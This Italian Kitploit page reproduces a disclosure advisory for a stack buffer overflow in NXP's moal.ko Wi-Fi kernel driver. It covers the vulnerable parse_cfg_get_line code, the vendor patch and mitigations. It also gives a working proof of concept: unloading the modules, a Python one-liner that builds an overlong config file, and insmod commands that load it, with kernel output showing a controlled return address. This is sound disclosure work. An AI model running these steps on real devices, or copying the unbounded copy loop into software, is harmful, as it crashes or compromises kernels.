Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29338 | Kitploit
Strumenti/GitHubGitHub/masjadaan/cve-2025-29338
Sicurezza Sistemi EmbeddedAnalisi delle VulnerabilitàExploitSicurezza HardwareBinary Exploitation
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

Vedi Repository
33 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-29338 — Avviso di Sicurezza

Buffer Overflow nel driver del kernel Wi-Fi NXP moal.ko (woal_setup_module_param / parse_cfg_get_line)

CampoValore
ID CVECVE-2025-29338
GravitàAlta
Punteggio CVSS v3.17.8
Vettore CVSS v3.1CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Tipo di vulnerabilitàBuffer overflow basato su stack (CWE-121)
Vettore di attaccoLocale
FornitoreNXP Semiconductors
Stato della patch del fornitorePatch applicata
ScopritoreMahmoud Jadaan — diconium auto GmbH

Riepilogo

Esiste una vulnerabilità di buffer overflow basato su stack nel driver del kernel Wi-Fi NXP moal.ko (versione 5.1.7.10) nelle build del firmware dalla v17.92.1.p149.43 alla v17.92.1.p149.157. La vulnerabilità si trova in parse_cfg_get_line (mlinux/moal_init.c), chiamata da woal_setup_module_param. Il ciclo while che legge le righe del file di configurazione in un buffer di stack a dimensione fissa non dispone di un controllo dei limiti di destinazione, consentendo a una riga di lunghezza arbitraria di far eccedere il buffer, corrompere lo stack e causare un kernel panic. NXP PSIRT ha confermato la vulnerabilità e la correzione è stata rilasciata.


Prodotti Interessati


Dettagli della Vulnerabilità

Causa Principale

woal_setup_module_param alloca un buffer di stack fisso di MAX_LINE_LEN byte e lo passa a parse_cfg_get_line a ogni iterazione durante l'elaborazione del file di configurazione mod_para:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

Nella revisione vulnerabile di parse_cfg_get_line, la condizione del ciclo while controlla solo la posizione sorgente e i terminatori di riga — non c'è alcun controllo su quanti byte sono stati scritti nel buffer di destinazione:

root@kitploit:~
// parse_cfg_get_line — versione vulnerabile (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // scrittura senza controllo — nessun controllo dei limiti di destinazione
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

Una riga del file di configurazione più lunga di MAX_LINE_LEN byte fa sì che dest avanzi oltre la fine del buffer di stack del chiamante, sovrascrivendo la memoria di stack adiacente, inclusi il frame pointer salvato e l'indirizzo di ritorno.


Vettore di Attacco

Il driver viene caricato all'avvio del sistema tramite insmod con il parametro mod_para che punta a un file di configurazione. Un attaccante in grado di scrivere un file di configurazione appositamente predisposto e di ricaricare il modulo del kernel può innescare il buffer overflow.


Impatto

ImpattoDescrizione
Denial of ServiceKernel panic — confermato; provoca il riavvio immediato del sistema
Corruzione della memoria del kernelLo stack smashing sovrascrive il salvato e l'indirizzo di ritorno

Analisi CVSS v3.1

Punteggio Base: 7.8 (Alto) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


Prova di concetto

Fornito esclusivamente a scopo difensivo e di ricerca.

Passo 1 — Scaricare i moduli esistenti

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

Passo 2 — Creare il file di configurazione malevolo

Il buffer di stack viene riempito con A, seguito da 8 byte per lo slot dello stack canary (B), 8 byte per il rbp salvato (C) e 8 byte per sovrascrivere l'indirizzo di ritorno (D):

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

Passo 3 — Caricare il modulo con la configurazione predisposta

Il percorso di mod_para deve essere relativo alla directory in cui il kernel cerca il firmware (tipicamente /lib/firmware/). Costruire il percorso di conseguenza:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

Passo 4 — Risultato osservato

Un kernel panic viene innescato immediatamente durante l'inizializzazione del modulo. I log del kernel confermano che l'indirizzo di ritorno viene sovrascritto con 0x4444444444444444 (ASCII DDDDDDDD), dimostrando il pieno controllo del puntatore d'istruzione:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

Patch del Fornitore

NXP PSIRT ha confermato la vulnerabilità e ha fornito la seguente patch per mlinux/moal_init.c. La correzione aggiunge un controllo dei limiti all'interno del ciclo di parse_cfg_get_line per uscire prima di superare MAX_LINE_LEN:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

Mitigazione

Aggiornare a una versione del firmware successiva alla v17.92.1.p149.157 che includa la patch sopra indicata. Come ulteriore hardening:

  1. Limitare il caricamento dei moduli — limitare CAP_SYS_MODULE agli amministratori fidati; applicare restrizioni sulle syscall init_module / finit_module tramite SELinux, AppArmor o seccomp.
  2. Proteggere i percorsi dei file di configurazione — assicurarsi che il percorso referenziato da mod_para e i file a cui punta siano scrivibili solo da root.

Riferimenti

  • Driver mwifiex NXP (GPL): https://github.com/nxp-imx/mwifiex
  • Note di rilascio NXP: https://www.nxp.com/docs/en/release-note/RN00104.pdf

Stato del Fornitore

NXP PSIRT ha confermato la vulnerabilità. La correzione è stata rilasciata come parte di un aggiornamento software formale.


Crediti

Scopritore: Mahmoud Jadaan — diconium auto GmbH


Questo avviso di sicurezza è pubblicato come riferimento pubblico per soddisfare i requisiti minimi di divulgazione CVE secondo il programma CVE.

Scarica lo strumento
CampoDettaglio
FornitoreNXP Semiconductors
Componentedriver del kernel Wi-Fi moal.ko
Versione del driver5.1.7.10
Firmware — prima versione interessatav17.92.1.p149.43
Firmware — ultima versione interessatav17.92.1.p149.157
AttributoValore
TipoLocale
Privilegi richiestiCAP_SYS_MODULE (root o equivalente)
Interazione utenteNessuna
Superficie di attaccoparametro del modulo kernel mod_para (percorso del file di configurazione)
rbp
Potenziale esecuzione di codiceIndirizzo di ritorno controllato — potrebbe essere possibile l'esecuzione arbitraria di codice in modalità kernel, a seconda delle mitigazioni presenti (stack canary, KASLR, ecc.)
MetricaValoreMotivazione
Vettore di attacco (AV)Locale (L)Richiede accesso locale al sistema
Complessità di attacco (AC)Bassa (L)Nessuna condizione di race o prerequisiti complessi
Privilegi richiesti (PR)Alti (H)Richiede CAP_SYS_MODULE / root
Interazione utente (UI)Nessuna (N)Completamente controllato dall'attaccante
Scope (S)Invariato (U)L'impatto rimane nel contesto del kernel
Riservatezza (C)Alta (H)Memoria del kernel potenzialmente leggibile
Integrità (I)Alta (H)Sovrascrittura dell'indirizzo di ritorno dimostrata
Disponibilità (A)Alta (H)Kernel panic / riavvio confermato